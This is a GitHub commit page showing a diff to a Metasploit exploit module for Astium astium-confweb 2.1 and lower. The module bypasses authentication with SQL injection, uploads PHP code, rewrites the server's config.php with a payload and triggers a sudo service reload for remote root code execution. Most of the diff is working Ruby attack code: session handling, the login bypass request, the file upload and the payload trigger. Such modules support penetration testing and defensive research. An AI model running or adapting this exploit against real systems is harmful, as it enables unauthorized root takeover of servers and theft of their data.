Skip to content

Commit

Permalink
Merge pull request #1 from jvazquez-r7/review-pr2379
Browse files Browse the repository at this point in the history
Clean up Astium exploit
  • Loading branch information
xistence committed Sep 22, 2013
2 parents adc1bd9 + 1a00cce commit 64156a1
Showing 1 changed file with 34 additions and 58 deletions.
92 changes: 34 additions & 58 deletions modules/exploits/linux/http/astium_sqli_upload.rb
Expand Up @@ -8,7 +8,7 @@
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
Rank = ManualRanking # Configuration is overwritten and service reloaded

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
Expand All @@ -17,12 +17,12 @@ def initialize(info={})
super(update_info(info,
'Name' => "Astium Remote Code Execution",
'Description' => %q{
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and lower.
Admin access is gained by an SQL Injection authentication bypass in the login form.
Having admin access makes it possible to upload PHP code.
This PHP code will modify the "/usr/local/astium/web/php/config.php" script and add our payload.
A "sudo /sbin/service astcfgd reload" is executed to reload the configuration with root privileges
and trigger remote code execution.
This module exploits vulnerabilities found in Astium astium-confweb-2.1-25399 RPM and
lower. A SQL Injection vulnerability is used to achieve authentication bypass and gain
admin access. From an admin session arbitrary PHP code upload is possible. It is used
to add the final PHP payload to "/usr/local/astium/web/php/config.php" and execute the
"sudo /sbin/service astcfgd reload" command to reload the configuration and achieve
remote root code execution.
},
'License' => MSF_LICENSE,
'Author' =>
Expand All @@ -31,13 +31,14 @@ def initialize(info={})
],
'References' =>
[
[ 'OSVDB', '88860' ],
[ 'EDB', '23831' ]
],
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Astium', {}]
['Astium 2.1', {}]
],
'Privileged' => true,
'DisclosureDate' => "Sep 17 2013",
Expand All @@ -49,10 +50,15 @@ def initialize(info={})
], self.class)
end

def check
uri = target_uri.path
peer = "#{rhost}:#{rport}"
def peer
return "#{rhost}:#{rport}"
end

def uri
return target_uri.path
end

def check
# Check version
print_status("#{peer} - Trying to detect Astium")

Expand All @@ -69,55 +75,24 @@ def check
end

def exploit

uri = target_uri.path

peer = "#{rhost}:#{rport}"

print_status("#{peer} - Retrieving cookie")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "en", "content", "index.php")
})

if res && res.code == 302
if (res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/)
session = $1
redirect = URI(res.headers['Location'])
print_status("#{peer} - Session cookie is [ #{session} ]")
print_status("#{peer} - Location is [ #{redirect} ]")
else
return fail_with(Exploit::Failure::Unknown, "Session cookie not found!")
end
else
return fail_with(Exploit::Failure::Unknown, "Retrieving cookie failed!")
end

# Follow redirection process
print_status("#{peer} - Following redirection")
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET',
'cookie' => "astiumnls=#{session}"
})

if not res or res.code != 200
return fail_with(Exploit::Failure::Unknown, "Redirect Failed!")
end


print_status("#{peer} - Access login page")
res = send_request_cgi({
'method' => 'GET',
'cookie' => "astiumnls=#{session}",
'uri' => normalize_uri(uri, "?js=0&ctest=1&origlink=/en/content/index.php")
'uri' => normalize_uri(uri),
'vars_get' => {
'js' => '0',
'ctest' => '1',
'origlink' => '/en/content/index.php'
}
})

if res && res.code == 302
if res and res.code == 302 and res.get_cookies =~ /astiumnls=([a-zA-Z0-9]+)/
session = $1
print_good("#{peer} - Session cookie is [ #{session} ]")
redirect = URI(res.headers['Location'])
print_status("#{peer} - Location is [ #{redirect} ]")
else
return fail_with(Exploit::Failure::Unknown, "Access to login page failed!")
fail_with(Exploit::Failure::Unknown, "#{peer} - Access to login page failed!")
end


Expand All @@ -130,9 +105,10 @@ def exploit
})

if not res or res.code != 200
return fail_with(Exploit::Failure::Unknown, "Redirect failed!")
fail_with(Exploit::Failure::Unknown, "#{peer} - Redirect failed!")
end


sqlirandom = rand_text_numeric(8)

# SQLi to bypass authentication
Expand All @@ -151,7 +127,7 @@ def exploit
})

if not res or res.code != 302
return fail_with(Exploit::Failure::Unknown, "Login bypass was not succesful!")
fail_with(Exploit::Failure::Unknown, "#{peer} - Login bypass was not succesful!")
end

# Random filename
Expand Down Expand Up @@ -191,8 +167,8 @@ def exploit

# If the server returns 200 and the body contains our payload name,
# we assume we uploaded the malicious file successfully
if not res or res.code != 200
return fail_with(Exploit::Failure::Unknown, "File wasn't uploaded, aborting!")
if not res or res.code != 200 or res.body !~ /#{payload_name}/
fail_with(Exploit::Failure::Unknown, "#{peer} - File wasn't uploaded, aborting!")
end

register_file_for_cleanup("/usr/local/astium/web/html/upload/#{payload_name}")
Expand All @@ -202,12 +178,12 @@ def exploit
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "upload", "#{payload_name}")
},60)
}, 60)

# If we don't get a 200 when we request our malicious payload, we suspect
# we don't have a shell, either.
if res and res.code != 200
return fail_with(Exploit::Failure::Unknown, "Exploit failed!")
print_error("#{peer} - Unexpected response...")
end

end
Expand Down

0 comments on commit 64156a1

Please sign in to comment.